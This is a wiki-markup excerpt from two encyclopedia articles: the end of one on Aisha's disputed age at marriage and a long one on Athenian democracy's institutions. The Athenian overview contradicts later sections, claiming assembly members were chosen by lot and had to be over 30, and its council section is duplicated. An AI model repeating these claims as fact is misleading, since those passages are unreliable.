* Tabari in his treatise on Islamic history reports that Abu Bakr had four children and all four were born during the [[Jahiliyyah]] - the pre Islamic period. If Aisha was born in the period of jahiliyyah, she could not have been less than 14 years in 1 AH. ''Tarikh al-umam wa al-mamloo'k'', Al-Tabari, Vol. 4, p. 50.

* According to Ibn Hajar, [[Fatima Zahra|Fatima]] was five years older than Aisha. Fatima is reported to have been born when Muhammad was 35 years old. Muhammad migrated to Medina when he was 52, making Aisha 14 years old in 1 AH. ''Tamyeez al-Sahaabah'', Ibn Hajar al-Asqalaniy'', Vol. 4, p. 377.

* According to Abd ar Rahman ibn Abi Zannad, Aisha was 10 years younger than her sister Asma. (Siyar a´lâm an-nubalâ', adh-Dhahabî, Vol. 2, p. 289, Mu'assat ar-Risâla, Beirut, 1992). That is also confirmed by Ibn Kathir (al-Bidâya wa-n-nihâya, Ibn Kathîr, Bd. 8, S. 371, Dâr al-Fikr al-´Arabî, al-Dschîza, 1933). Virtually all other historical reports also agree in this matter. Ibn Kathir also reports that Asma was present when her son died in 73 AH and she herself died 5 days thereafter (other reports differ slightly, giving between 5 and 100 days between the deaths of the two). At the time of her death she was 100 years old (al-Bidâya wa-n-nihâya, Ibn Kathîr, Vol. 8, p. 372, Dâr al-Fikr al-´Arabî, al-Dschîza, 1933). This is also confirmed by Ibn Hadschar al-´Asqalânî who reports that she died in 73 or 74 AH at the age of 100 years. (Taqrîb at-tahdhîb, Ibn Hadschar al-´Asqalânî, p. 654, Bâb fi-n-nisâ', harfu l-alif, Lucknow). But this means, of course, that Asma was 27 or 28 years old at 1 AH and the 10 years youger Aisha already 17 or 18, so when Muhammad and Aisha started to live together she was already 19 or 20.

* Aisha has become known for having at the side of Muhammad in the battle of Badr (see for example hadiths by Muslim) as well as in the battle of Uhud (see e.g. hadiths by Bukhari). Bukhari also reports (Kitâb al-maghâzî, Bâb Ghazawat al-Khandaq wa-hiya l-Ahzâb) that the Prophet did not allow 14 year olds to participate but allowed them to join on their 15th birthday. This implies that Aisha was older at that time of these battles. However, it's also possible that the age restriction was not applied to Aisha as a wife of Muhammad.   

* In a hadith of Bukhari, Aisha says: &quot;I was a young girl (dschâriya) when Surah al-Qamar was revealed (Sahîh al-Bukhârî, Kitâb at-tafsîr, Bâb qaulihî Ta´âlâ &quot;Bali-s-sâ´atu mau´iduhum wa-s-sâ´atu ad-hâ wa-amarr&quot;). That Surah was revealed 8 years before Hijra and at that time Aisha would have been at most a baby (sabiyya) had she been only 9 years old at the age of her marriage. The word dschariya is most fitting for a 6-13 year old which would mean her age of marriage would be anywhere between 14 and 21. However, the exact dates of when al-Qamar was revealed is disputed. Thus, making this a weak argument. 

* Most Muslims generally agree that Aisha had reached the age of puberty at her marriage. This would be unlikely for a 9 year old. In addition, Aisha was already termed 'bikr', meaning virgin adult woman even when the marriage was discussed, i.e. 3 years before the actual marriage. (Musnad Ahmad ibn Hanbal, Vol. 6, p. 210, Dâr Ihyâ' at-Turâth al-´Arabî, Beirut).

* Some Muslim scholars{{fact}} say that the hadith collectors Bukhari and Muslim applied less stringent standards to hadith relating to history than they did to hadith relating directly to prayer and family law. Hence a historical tradition included in Bukhari or Muslim cannot be presumed to be &quot;strong&quot;.

== Sunni and Shia views of Aisha ==
[[Sunni]] historians praise Aisha as a Mother of Believers and a learned woman, who tirelessly recounted stories from the life of Muhammad and explained Muslim history and traditions. She is considered to be one of the foremost scholars of Islam's early age and is revered as a role model by millions of women.

[[Shi'a]] historians take a much dimmer view of Aisha. They believe that Ali should have been the first caliph, and that the other three caliphs were usurpers. Aisha not only supported [[Umar]], [[Uthman]] and her father [[Abu Bakr]], she also raised an army and fought against [[Ali]], her step-son-in-law. The Shia believe that in opposing Ali, the divinely appointed successor of Muhammad, she committed a grievous sin.

==See also==
* [[Muhammad]]
* [[Muhammad's marriages]]
* [[Family tree of Aisha]]

==External links==
Sunni view of Aisha: 
* [http://www.usc.edu/dept/MSA/history/biographies/sahaabah/bio.AISHAH_BINT_ABI_BAKR.html Biography of Aisha]

Shi'a view of Aisha: 
* [http://www.islamic-paths.org/Home/English/Sects/Shiite/Encyclopedia/Chapter_1a_Part09.htm Shi'a view of Aisha]
* [http://www.answering-ansar.org/answers/ayesha/en/chap1.php Answering some important issues regarding Aisha]

Questioning hadith re Aisha's age at marriage: 
* [http://www.muslim.org/islam/aisha-age.htm#_ftn3 From muslim.org]
* [http://www.understanding-islam.com/ri/mi-005.htm From understanding-islam.com]

[[Category:678 deaths]]
[[Category:Women in war]]
[[Category:Muslim women]]
[[Category:Arab people]]
[[Category:Islam and controversy]]
[[Category:Islamic history]]

[[ar:عائشة بنت أبي بكر]]
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    <title>Athenian democracy</title>
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      <text xml:space="preserve">[[Image:ac.pnyx.jpg|thumb|400px|The speaker's platform in the [[Pnyx]], the meeting ground of the assembly where all the great political struggles of Athens were fought during the &quot;Golden Age&quot;. Here Athenian statesmen stood to speak, such as [[Pericles]] and [[Aristides]] in the 5th century BC and [[Demosthenes]] and [[Aeschines]] in the 4th — along with countless humbler citizens as well.  In the background high on the [[Acropolis, Athens|Acropolis]] is the [[Parthenon]], the temple of [[Athena]], the city's protective goddess, looking down upon their deliberations.]]

The '''Athenian democracy''' (sometimes called '''classical democracy''') was the [[democracy|democratic]] system developed in the [[Ancient Greece|Greek]] [[city-state]] of [[Athens]] (comprising the central city-state of Athens and its surrounding territory [[Attica, Greece|Attica]]). Athens was one of the very first known democracies, and probably the most important in ancient times. Other Greek cities set up democracies, most but not all following an Athenian model, but none were as powerful or as stable (or, relatively speaking, as well-documented) as that of Athens. It remains a unique and intriguing experiment in direct democracy where the people do not elect representatives to vote on their behalf but vote on legislation and executive bills in their own right. Participation was by no means open to all inhabitants of Attica, but the in-group of participants was constituted with no reference to economic class and they participated on a scale that was truly phenomenal. Never before had so many people spent so much of their time in governing themselves.

The dates traditionally given for it are from around 508 BC with its foundation under [[Cleisthenes]] to its suppression under the [[Macedon|Macedonia]]ns in 322 BC. The Athenians themselves however were more likely to talk about it as going back to [[Solon]] almost a century before Cleisthenes, or even to retroject it into their remotest past ([[Theseus]]). There was also a short period of revival in the 4th century BC. Nor was the democratic period entirely continuous; there were two brief takeovers by [[oligarch]]ic [[revolution]]aries.

The word &quot;democracy&quot; combines the elements ''demos'' (&quot;the people&quot;) and ''kratos'' (&quot;force, power&quot;). ''Kratos'' is an unexpectedly brutish word. In the words &quot;monarchy&quot; and &quot;oligarchy&quot;, the second element ''arche'' means rule, leading, or being first. It is possible that the term &quot;democracy&quot; was coined by its detractors who rejected the possibility of, so to speak, a valid &quot;demarchy&quot;. Whatever its original tone, the term was adopted wholeheartedly by Athenian democrats. (The word is attested in some of the earliest Greek prose to survive, but even this may not have been written before 440 or 430 BC. It is not at all certain that the word goes back to the beginning of the democracy, but from around 460 BC at any rate an individual is known whose parents had decided to name him 'Democrates', a name evidently manufactured as a gesture of democratic loyalty.)

==Overview==
===Assembly===
The central events of the Athenian democracy were the meetings of the assembly. Unlike a [[parliament]], the assembly's 'members' were not elected, but attended by right when and if they chose. Members of the Assembly were chosen by lot. It was open only to adult male citizens over the age of 30, but to all of them: unlike earlier schemes there was no property qualification. Although the entire citizen body never gathered in one place at one time, this body did not represent the people — it was them. That is to say, the version of Greek democracy created at Athens was a [[direct democracy]] and not [[representative democracy]]: there was no electorate selecting representatives to decide for them. Members were chosen annually by a form of lottery. It was an honor and a privilege to be part of the Assembly. It was the duty of the individual to attend. 

The ''ekklesia'' had at least four functions: it made executive pronouncements (decrees, such as deciding to go to war or granting citizenship to a foreigner); it elected some officials; it legislated; and it tried political crimes. As the system evolved these last two functions were shifted to the law courts. The standard format was that of speakers making speeches for and against a position followed by a general vote (usually by show of hands) of yes or no. Unlike in modern parliaments, the speeches were actually attempts to persuade those present. Though there might be blocs of opinion, sometimes enduring, on crucial issues, there were no political parties and likewise no [[government]] or [[opposition]] (as in the [[Westminster system]]). In effect, the 'government' was whatever speaker(s) the assembly agreed with on a particular day. Voting was by simple [[majority rule|majority]]. In the 5th century at least there were scarcely any limits on the power exercised by the assembly. If the assembly broke the law, the only thing that might happen is that they would punish those who had made the proposal that they had agreed to. If a mistake had been made, from their viewpoint it could only be because they had been 'misled'.

===Officeholders===
Administration was in the hands of officeholders, over a thousand each year. They were mostly chosen by [[sortition|lot]], with a much smaller (and more prestigious) group [[elected]]. Neither was compulsory; individuals had to nominate themselves for both selection methods. By and large the power exercised by these officials was routine administration and quite limited. In particular, those chosen by lot were citizens acting without particular expertise. This was almost inevitable since, with the notable exception of the generals ([[strategoi]]), each office could be held by the same person only once. Part of the ethos of democracy, however, was the building of general competence by ongoing involvement. In the 5th century version of the democracy, the ten annually elected generals were often very prominent, but for those who had power, it lay primarily in their frequent speeches and in the respect accorded them in the assembly, rather than their vested powers. While citizens voting in the assembly ''were'' the people and so were free of review or punishment, those same citizens when holding an office ''served'' the people and could be punished very severely. All of them were subject to a review beforehand that might disqualify them for office and an examination after stepping down. Officeholders were the agents of the people, not their representatives.

===Council of 500===
The council (''boule'') of 500, the largest board of officeholders, formed a steering committee for the assembly, drafting legislation and setting its agenda. The 500 was selected by a lottery, held each year. A citizen could serve on the council twice in their lifetime. Any citizen could submit proposals to the council for drafting. Technically it was forbidden for the assembly to vote on measures without a pre-proposal (''probouleuma'') from the council. These might be concrete, worked-out proposals or 'open', that is little more than items on the agenda. The council, or rotating sections of it, also served as a kind of front desk for the state, on duty in the council chamber 24 hours a day. Every day of the year one of these councillors was head of state for the day (for instance, holding the keys to the treasury and the seal of the city and being responsible for greeting foreign envoys, and in the 5th century presiding over the assembly and council meetings). It has been calculated that one quarter of all citizens must at one time in their lives have held the post. This head of state position could be held once only in a lifetime.

===Courts===
Courts consisting of massive juries (smallest 200, largest 6000) heard cases argued by litigants (both citizen and non-citizen) without the involvement of lawyers or judges. In particular there was no state prosecutor: all cases, even the most public (e.g. for treason) had to be brought by citizens acting on their own initiative. These juries formed a second site for the expression of popular sovereignty: as in the assembly, citizens acting as jurors acted as the people and were immune from review or punishment. (Notably when the jurors are addressed by speakers as &quot;you&quot;, they can be referred to as having committed any act ever committed by the 'Athenian people', such as battles fought before any of them were born or court decisions made by other juries whose membership may have had no overlap with those currently addressed.) Jurors however had a minimum age of 30 and they were under oath. From an Athenian perspective, where the young are rash and age brings wisdom and where an oath is a serious matter, both of these requirements gave jurors more weight than the citizens attending the assembly. Here only the legislative function of courts will be described, though this by no means exhausts the relevance of the courts to the workings of the democracy.

===Shifting balance between Assembly and Courts===
As the system evolved, the courts (that is, citizens under another guise) intruded upon the power of the assembly. From 355 BC political trials were no longer held in the assembly, but only in a court. In 416 BC the [[graphe paranomon]] (&quot;indictment against measures contrary to the laws&quot;) was introduced. Under this anything passed by the assembly or even proposed but not yet voted on, could be put on hold for review before a jury — which might annul it and perhaps punish the proposer as well. Remarkably, it seems that a measure blocked before the assembly voted on it did not need to go back to the assembly if it survived the court challenge: the court was enough to validate it. Once again it is important to bear in mind the lack of 'neutral' state intervention. To give a schematic scenario by way of illustration: two men have clashed in the assembly about a proposal put by one of them; it passed, and now the two of them go to court with the loser in the assembly prosecuting both the law and its proposer. The quantity of these suits was enormous: in effect the courts became a kind of upper house.

In the 5th century there was in effect no procedural difference between an executive decree and a law: they were both simply passed by the assembly. But from 403 BC they were set sharply apart. Henceforth laws were made not in the assembly, but by special panels of 1000 citizens drawn from the annual jury pool of 6000. They were known as the ''nomothetai'', the lawmakers. Here again it is not anything like a legislative commission sitting down to discuss the pros and cons and drafting proposals, but the format is that of a trial, voting yes or no after a clash of speeches.

===Citizen-initiator===
The institutions sketched above — assembly, officeholders, council, courts — are incomplete without the figure that drove the whole system, ''Ho boulomenos'', he who wishes, or anyone who wishes. This expression encapsulated the right of citizens to take the initiative: to stand to speak in the assembly, to initiate a public  law suit (that is, one held to affect the political community as a whole), to propose a law before the lawmakers or to approach the council with suggestions. Unlike officeholders, the citizen initiator was not vetted before taking up office or automatically reviewed after stepping down — it had after all no set tenure and might be an action lasting only a moment. But any stepping forward into the democratic limelight was risky and if someone chose (another citizen initiator) they could be called to account for their actions and punished. 

The degree of participation among citizens varied greatly, along a spectrum from doing virtually nothing towards something like a fulltime committent. But for even the most active citizen the formal basis of his political activity was the invitation issed to everyone (every qualified free male Athenian citizen) by the phrase &quot;whoever wishes&quot;. There are then three functions: the officeholders organized and saw to the complex protocols; ''Ho boulomenos'' was the initiator and the proposer of content; and finally the people, massed in assembly or court or convened as lawmakers, made the decisions, either yes or no, or choosing between alternatives.

==Participation and exclusion==
===Size and make-up of the Athenian population===
The population of Attica can only be roughly guessed at as the Athenians themselves never conducted a complete census. Numbers of [[slaves]] and [[metic]]s (resident aliens) in particular will have fluctuated. During the [[4th century BC]], the population of Athens may well have comprised some 250,000—300,000 people. Citizen families may have amounted to 100,000 people and out of these some 30,000 will have been the adult male citizens entitled to vote in the assembly. In the mid-5th century the number of adult male citizens was perhaps as high as 60,000, but this number fell precipitously during the Peloponnesian war. This slump was permanent due to the introduction of a stricter definition of citizen described below. From a modern perspective these figures seem pitifully small, but in the world of Greek city-states Athens was huge: most of thousand or so Greek cities could only muster 1000-1500 adult male citizens and Corinth, a major power, had at most 15,000.

The non-citizen component of the population was divided between metics and slaves, with the latter perhaps somewhat more numerous. Around 338 BC the orator [[Hyperides]] (fragment 13) claimed that there were 150,000 slaves in Attica, but this figure is probably not more than an impression: slaves outnumbered those of citizen stock but did not swamp them.

===Citizenship in Athens===
Only adult male Athenian citizens who had completed their military training as [[ephebe]]s &amp;ndash; effectively twenty years and over &amp;ndash; had the right to vote in Athens. This excluded a majority of the population, namely [[Slavery#Slavery in Greece|slaves]], women and resident foreigners ([[metic]]s). Also disallowed were citizens whose rights were under suspension (typically for failure to pay a debt to the city: see [[Atimia (loss of citizen rights)|atimia]]); for some Athenians this amounted to permanent (and in fact inheritable) disqualification. Still, in contrast with oligarchical societies, there were no real property requirements limiting access. (The property classes of [[Solon]]'s constitution remained on the books, but they were a dead letter). Given the exclusionary and ancestral conception of citizenship held by Greek [[city-states]], a relatively  large portion of the population took part in the government of Athens and of other radical democracies like it. At Athens some citizens were far more active than others, but the vast numbers required just for the system to work testify to a breadth of particpation among those eligible that greatly exceeded any present day democracy. 

Athenian citizens had to be legitimately descended from citizens&amp;mdash;after the reforms of Pericles in [[450 BC]] on both sides of the family, excluding the children of Athenian men and foreign women. Although the legislation was not retrospective, five years later the Athenians removed 5000 from the citizen registers when a free gift of corn arrived for all citizens from an Egyptian king. Citizenship could be granted by the assembly and was sometimes given to large groups (Plateans in 427 BC, Samians in 405 BC), but by the 4th century only to individuals and by a special vote with a quorum of 6000. This was generally done as a reward for some service to the state. In the course of a century the numbers involved were in the hundreds rather than thousands. This reflected the general conception of the ''polis'' as a community, somewhat like an extended family, rather than as a territorial state.

Modern democracies too have their own exclusions: resident foreigners (legal and otherwise), individuals below a certain age and in some cases incarcerated citizens and those who have committed felonies.  The modern form has other limitations as well: the right of voting is usually restricted to once every several years, and voters merely get to choose their representatives in the legislative or executive branches&amp;mdash;and it is these representatives, not the voters themselves, who make policy decisions (with the exception of occasional [[referendum|referenda]]).

==Main bodies of governance==
There were three political bodies where citizens gathered in numbers running into the hundreds or thousands. These are the assembly (in some cases with a quorum of 6000), the council of 500 (''[[boule]]'') and the courts (a minumum of 200 people, but running at least on some occasions up to 6000). Of these three bodies it is the assembly and the courts that were the true sites of power — although courts, unlike the assembly, were never simply called the ''demos'' (the People) as they were manned by a subset of the citizen body, those over thirty. But crucially citizens voting in both were not liable to review and prosecution as were council members and all other officeholders. In the 5th century BC we often hear of the assembly sitting as a court of judgement itself for trials of political importance and it is not a coincidence that 6000 is the number both for the full quorum for the assembly and for the annual pool from which jurors were picked for particular trials. By the mid-4th century however the assembly's judicial functions were largely curtailed, though it always kept a role in the initiation of various kinds of political trial.

===Council of 500===
The council (''boule'') of 500, the largest board of officeholders, formed a steering committee for the assembly, drafting legislation and setting its agenda. A citizen could serve on the council twice in their lifetime. Any citizen could submit proposals to the council for drafting. Technically it was forbidden for the assembly to vote on measures without a pre-proposal (''probouleuma'') from the council. These might be concrete, worked-out proposals or 'open', that is little more than items on the agenda. The council, or rotating sections of it, also served as a kind of front desk for the state, on duty in the council chamber 24 hours a day. Every day of the year one of these councillors was head of state for the day (for instance, holding the keys to the treasury and the seal of the city and being responsible for greeting foreign envoys, and in the 5th century presiding over the assembly and council meetings). It has been calculated that one quarter of all citizens must at one time in their lives have held the post. This head of state position could be held once only in a lifetime.

===Assembly===
As usual in ancient democracies, one had to physically attend a gathering in order to vote. Military service or simple distance prevented the exercise of citizenship. Voting was usually by show of hands (cheirotonia, &quot;arm stretching&quot;) with officials 'judging' the outcome by sight. With thousands of people attending, counting was impossible. For a small category of votes a quorum of 6000 was required, principally grants of citizenship, and here coloured balls were used, white for yes and black for no. Probably at the end of the session, each voter tossed one of these into a large clay jar which was afterwards cracked open for the counting of the ballots. ([[Ostracism]] required to voters to scratch names onto pieces of broken pottery, though this did not occur within the assembly as such.) 

In the 5th century BC, there were 10 fixed assembly meetings per year, one in each of the ten [[Attic calendar#State calendar|state months]], with other meetings called as needed. In the following century the meetings were set to forty a year, with four in each state month. (One of these was now as the main meeting, ''kuria ekklesia''.) Additional meetings might still be called, especially as up until 355 BC there were still political trials that were conducted in the assembly rather than in court. The assembly meetings did not occur at fixed intervals, as they had to dodge the annual festivals that were differently placed in each of the twelve lunar months. There was also a tendency for the four meetings to bunch up toward the end of each state month.

Attendance at the assembly was voluntary. In the 5th century public slaves forming a cordon with a red-stained rope herded citizens from the [[agora]] into the assembly meeting place (''[[pnyx]]''), with a fine for those who got the red on their clothes. This, however, cannot compare with the compulsory voting schemes of some modern democracies. It was rather an immediate measure to get enough people rapidly in place, like an aggressive form of ushering. After the restoration of the democracy in 403 BC, pay for assembly attendance was introduced for the first time. At this there was a new enthusiasm for assembly meetings. Only the first 6000 to arrive were admitted and paid, with the red rope now used to keep latecomers at bay. These two uses of the red rope are known from [[Aristophanes]]'s comedy ''Acharnians'' 17-22, the forcing in, and his ''Ekklesiazousai'' 378-9 for the keeping out.

===Athenian Courts===
Athens had an elaborate legal system centred on the '''''dikasteria''''' or jury courts: the word is derived from '''''dikastes''''', 'judge/juror.' These [[Athenian law court (classical period)|jury courts]] were manned by large panels selected by lot from an annual pool of 6,000 citizens. To be eligible to serve as juror, a citizen had to be over 30 years of age and in possession of full citizen rights (see [[atimia (loss of citizen rights)|atimia]]). The age limit, the same as that for office holders but ten years older than that required for participation in the assembly, gave the courts a certain standing in relation to the assembly: for the Athenians older was wiser. Added to this was the fact that jurors were under oath, which was not a feature of attendance at the assembly. However, the authority exercised by the courts had the same basis as that of the assembly: both were regarded as expressing the direct will of the people. Unlike office holders (magistrates) who could be impeached and prosecuted for misconduct, the jurors could not be censured, for they, in effect, were the people and no authority could be higher than that. A corollary of this was that, at least in words spoken before the jurors, if a court had made an unjust decision, it must have been because it had been misled by a litigant

Essentially there were two grades of suit, a smaller kind known as ''dike'' or private suit, and a larger kind known as ''graphe'' or public suit. For private suits the minimum jury size was 201 (increased to 401 if a sum of over 1000 drachmas was at issue), for public suits 501. For particularly important public suits the jury could be increased by adding in extra allotments of 500. One thousand and 1500 are regularly encountered as jury sizes and on at least one occasion, the first time a new kind of case was brought to court (see [[graphe paranomon]]), all 6,000 members of the juror pool were put onto the one case. In public suits the litgants each had something like three hours to speak, less in private suits.

The cases were put by the litigants themselves in the form of an exchange of single speeches timed by water clock, first prosecutor then defendant. In a public suit the litigants each had three hours to speak, much less in private suits (though here it was in proportion to the amount of money at stake). Decisions were made by voting without any time set aside for deliberation. Nothing, however, stopped jurors from talking informally amongst themselves during the voting procedure and juries could be rowdy shouting out their disapproval or disbelief of things said by the litigants. This may have had some role in building a consensus. The jury could only cast a 'yes' or 'no' vote as to the guilt and sentence of the defendant. For private suits only the victims or their families could prosecute, while for public suits anyone (''ho boulomenos'', 'whoever wants to' i.e. any citizen with full citizen rights) could bring a case since the issues in these major suits were regarded as affecting the community as a whole. 

Justice was rapid: no case could last no longer than one day. Some convictions triggered an automatic penalty, but where this was not the case the two litgants each proposed a penalty for the convicted defendant and the jury chose between them in a further vote. No appeal was possible. There was however a mechanism for prosecuting the witnesses of a successful prosecutor, which it appears could lead to the undoing of the earlier verdict.

Payment for jurors was introduced around 462 BC and is ascribed to [[Pericles]], a feature described by Aristotle as fundamental to radical democracy (''Politics'' 1294a37). Pay was raised from 2 to 3 [[obol]]s by [[Cleon]] early in the Peloponnesian war and there it stayed; the original amount is not known. Notably this was introduced more than fifty years before payment for attendance at assembly meetings. Running the courts was one of the major expenses of the Athenian state and there were moments of financial crisis in the 4th century when the courts, at least for private suits, had to be suspended.

The system shows a marked anti-professionalism. No judges presided over the courts nor was there anyone to give legal direction to the jurors, as the magistrates in charge of the courts had only an administrative function and were themselves in any case amateurs (most of the annual magistracies at Athens could only be held once in a lifetime). There were no lawyers as such, but the litigants acted solely in their capacity as citizens. Whatever professionalism there was tended to disguise itself: it was possible to pay for the services of a speechwriter (''logographos'') but this was not advertised in court (except as something your opponent in court has had to resort to), and even politically prominent litigants made some show of disowning special expertise.

==Officeholders== 
Citizens active as office holders served in a quite different capacity from when they voted in the assembly or served as jurors. The assembly and the courts were regarded as the instantiation of the people of Athens: they were the people, no power was above them and they could not be reviewed, impeached or punished. However, when an Athenian took up an office, he was regarded as 'serving' the people. As such, he could be regarded as failing in his duty and be punished for it. There were two methods of selecting people as officeholders, lottery or election. Something like 1100 citizens (including the memebrs of the council of 500) held office each year and about a 100 of these were elected. 

===Selection by lot (Allotment)===
Selection by lottery was the standard means as it was regarded as the more democratic: elections will favour those who are rich, noble, eloquent and well-known, while [[sortition|allotment]] spreads the work of administration throughout the whole citizen body, engaging them in the crucial democratic experience of, to use Aristotle's words (Politics 1317b28-30), &quot;ruling and being ruled in turn.&quot; The allotment of an individual was based on citizenship rather than merit or any form of personal popularity which could be bought. Allotment therefore was seen as a means to prevent the corrupt purchase of votes and it gave citizens a unique form of political equality as all had an equal chance of obtaining government office.

Individuals who were interested in holding office had to nominate themselves as available for selection the year before. Officeholders were paid a stipend, but it was intended as a small sum to cover loss of income fixed at the lowest end of the scale. That is, virtually anyone able to work could earn more elsewhere. Payment is confirmed for the 5th century; was cancelled under the oligarchs in 404; may or may not have been restored after democracy was reinstituted. 

The random assignment of responsibility to individuals who may or may not be competent has obvious risks, but the system included features meant to obviate possible problems. Athenians selected for office served as teams (boards, panels). In a group someone will know the right way to do things and those that do not may learn from those that do. During the period of holding a particular office everyone on the team is observing everybody else. There were however officials such as the nine archons, who while seemingly a board carried out very different functions from each other.

There were in fact some limitations on who could hold office. Age restrictions were in place with thirty (and in some cases forty) years as a minimum, rendering something like a third of the adult citizen body ineligible at any one time. An unknown proportion of citizens were also subject to disenfranchisement ([[Atimia (loss of citizen rights)|atimia]]), excluding some of them permanently and others temporarily (depending on the type). Furthermore, all citizens selected were reviewed before taking up office (''dokimasia'') at which they might be disqualified. Competence does not seem to have been the main issue, but rather, at least in the 4th century BC, whether they were loyal democrats or had oligarchic tendencies. After leaving office they were subject to a scrutiny (''euthunai'', literally 'straightenings') to review their performance. Both of these processes were in most cases brief and formulaic, but they opened up in the possibility, if some citizen wanted to take some matter up, of a contest before a jury court. In the case of a scrutiny going to trial, there was the risk for the former officeholder of suffering severe penalties. Finally, even during his period of office, any officeholder could be impeached and removed from office by the assembly. In each of the ten &quot;main meetings&quot; (''kuriai ekklesiai'') a year, the question was explicitly raised in the assembly agenda: were the office holders carrying out their duties correctly?

No office appointed by lot could be held twice by the same individual. The only exception was the boule or council of 500. In this case, simply by demographic necessity, an individual could serve twice in a lifetime. This principle extended down to the secretaries and undersecretaries who served as assistants to magistrates such as the archons. To the Athenians it seems what had to be guarded against was not incompetence but any tendency to use office as a way of accumulating ongoing power.

The powers of officials were precisely defined and their capacity for imitative limited. They administered rather than governed. When it came to penal sanctions, no officeholder could impose a fine over fifty drachmas fine. Anything higher had to go before a court.

===Elected===
Something like a hundred officials were elected rather than chosen by lot. There were two main categories in this group: those required to handle large sums of money, and the 10 generals, the ''[[strategoi]]''. One reason that financial officials were elected was that any money [[embezzled]] could be recovered from their estates; election in general strongly favoured the rich, but in this case wealth was virtually a prerequisite. 

Generals were elected not only because their role required expert knowledge but also because they needed to be people with experience and contacts in the wider Greek world where wars were fought. In the [[5th century BC]], principally as seen through the figure of [[Pericles]], the generals could be among the most powerful people in the state. Yet in the case of Pericles it is wrong to see his power as coming from his long series of annual generalships (each year along with nine others). His office holding was rather an expression and a result of the influence he wielded. That influence was based on his relation with the assembly, a relation that in the first instance lay simply in the right of any citizen to stand and speak before the people. Under the [[4th century|4th century]] version of democracy the roles of general and of key political speaker in the assembly tended to be filled by different persons. In part this was a consequence of the increasingly specialised forms of warfare practiced in the later period.

Elected officials too were subject to review before holding office and scrutiny after office. And they too could be removed from office any time the assembly met. In one case from the [[5th century BC]] the 10 treasurers of the [[Delian]] league (the ''hellenotamiai'') were accused at their scrutinies of misappropriation of funds. Put on trial, they were condemned and executed one by one until before the trial of the tenth and last an error of accounting was discovered, allowing him to go free. ([[Antiphon]] 5.69-70)

==Individualism in Athenian democracy==
Another interesting insight into Athenian democracy comes from the law that excluded from decisions of war those citizens who had property close to the city walls - on the basis that they had a personal interest in the outcome of such debates because the practice of an invading army was at the time to destroy the land outside the walls. A good example of the contempt the first democrats felt for those who did not participate in politics can be found in the modern word 'idiot' that finds its origins in the ancient Greek word {{polytonic|&amp;#x1f30;&amp;#948;&amp;#953;&amp;#x1f7d;&amp;#964;&amp;#951;&amp;#962;}} (idi&amp;#333;t&amp;#275;s) meaning a private person, a person who is not actively interested in politics; such characters were talked about with contempt and the word eventually acquired its modern meaning.

==Criticism of the democracy==
Athenian democracy has had many critics, both ancient and modern. Modern critics are more likely to find fault with the narrow definition of the citizen body, but in the ancient world the complaint if anything went in the opposite direction. Ancient authors were almost invariably from an elite background for whom giving poor and uneducated people power over their betters seemed a reversal of the proper, rational order of society. For them the ''demos'' in democracy meant not the whole people, but the people as opposed to the elite. Instead of seeing it as a fair system under which 'everyone' has equal rights, they saw it as the numerically preponderant poor tyrannising over the rich. They viewed society like a modern stock company: democracy is like a company where all shareholders have an equal say regardless of the scale of their holding; one share or ten thousand, it makes no difference. They regarded this as manifestly unjust. In Aristotle this is categorised as the difference between 'arithmetic' and 'geometric' (i.e. proportional) equality. Democracy was far from being the normal style of governance and the beliefs on which it was based were in effect a minority opinion. Those writing in later centuries generally had no direct experience of democracy themselves. 

To its ancient detractors the democracy was reckless and arbitrary. They had some signal instances to point to, especially from the long years of the Peloponnesian war.
*In 406 BC, after years of defeats in the wake of the annihilation of their vast invasion force in Sicily, the Athenians at last won a naval victory at [[Battle of Arginusae| Arginusae]] over the Spartans. After the battle a storm arose and the eight [[strategoi|generals]] in command failed to collect survivors: the Athenians sentenced all of them to death. Technically, it was illegal, as the generals were tried and sentenced together, rather than one by one as Athenian law required. [[Socrates]] happened to be the citizen presiding over the assembly that day and refused to cooperate, though to little effect. Standing against the idea that it was outrageous for the people to be unable to do whatever they wanted. Later they repented the executions, but made up for it by executing those who had accused the generals before them. (A long account in [[Xenophon]] ''Hellenica'' 1.7.1-35)
*Years earlier, the ten treasurers of the [[Delian league]] (''Hellenotamiai'') had been accused of embezzlement. They were tried and executed one after the other until, when only one was still alive, the accounting error was discovered and that last surviving treasurer was acquitted. Perfectly legal in this case, but an example of the extreme severity with which the people could punish those who served them. ([[Antiphon]] 5.69-70)
*In 399 BC [[Socrates]] himself was put on trial and executed for 'corrupting the young and believing in strange gods'. His death gave Europe its first ever intellectual hero and martyr, but guaranteed the democracy an eternity of bad press at the hands of his disciple [[Plato]]. In the [[Gorgias]] written years later Plato has [[Socrates]] contemplating the possibility of himself on trial before the Athenians: he says he would be like a doctor prosecuted by a pastry chef before a jury of children.

Two right wing coups briefly interrupted democratic rule during the Peloponnesian war, both named by the numbers in control: the Four Hundred in 411 BC and the [[Thirty Tyrants|Thirty]] in 404 BC. The focus on number speaks to the drive behind each of them: to reduce the size of the electorate by linking the franchise with property qualifications. Though both ended up as rogue governments and did not follow through on their constitutional promises, they began as responses from the Athenian elite to what they saw as the inherent arbitrariness of government by the masses. (Plato in the ''Seventh Epistle'' does remark that the Thirty made the preceding democratic regime look like a Golden Age.) 

Whether the democratic failures should be seen as systematic, or as a product of the extreme conditions of the Peloponnesian war, there does seem to have been a move toward correction. A new version of democracy was established from 403 BC, but it can be linked with both earlier and subsequent reforms ([[graphe paranomon]] 416 BC; end of assembly trials 355 BC). For the first time a conceptual and procedural distinction was made between laws and decrees. Increasingly, responsibility was shifted from the assembly to the courts, with laws being made by jurors and all assembly decisions becoming reviewable by courts. That is to say, the mass meeting of all citizens lost some ground to smaller gatherings (of only a thousand or so!) which were under oath, free of men in their impetuous 20's and with more time to focus on just one matter (though never more than a day). One downside was that the new democracy was less capable of rapid response.

